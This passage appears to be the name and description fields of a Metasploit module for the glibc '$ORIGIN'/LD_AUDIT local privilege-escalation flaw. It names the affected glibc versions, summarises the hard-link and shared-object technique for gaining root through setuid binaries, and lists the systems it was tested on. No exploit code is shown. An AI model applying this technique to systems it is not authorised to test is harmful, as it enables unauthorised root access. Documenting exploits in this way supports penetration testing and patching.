'Name' => "glibc '$ORIGIN' Expansion Privilege Escalation",
'Description' => %q{
This module attempts to gain root privileges on Linux systems by abusing
a vulnerability in the GNU C Library (glibc) dynamic linker.

glibc ld.so in versions before 2.11.3, and 2.12.x before 2.12.2 does not
properly restrict use of the LD_AUDIT environment variable when loading
setuid executables which allows control over the $ORIGIN library search
path resulting in execution of arbitrary shared objects.

This module opens a file descriptor to the specified suid executable via
a hard link, then replaces the hard link with a shared object before
instructing the linker to execute the file descriptor, resulting in
arbitrary code execution.

The specified setuid binary must be readable and located on the same
file system partition as the specified writable directory.

This module has been tested successfully on glibc version 2.5 on CentOS
5.4 (x86_64), 2.5 on CentOS 5.5 (x86_64) and 2.12 on Fedora 13 (i386).

RHEL 5 is reportedly affected, but untested. Some versions of ld.so
hit a failed assertion in dl_open_worker causing exploitation to fail.
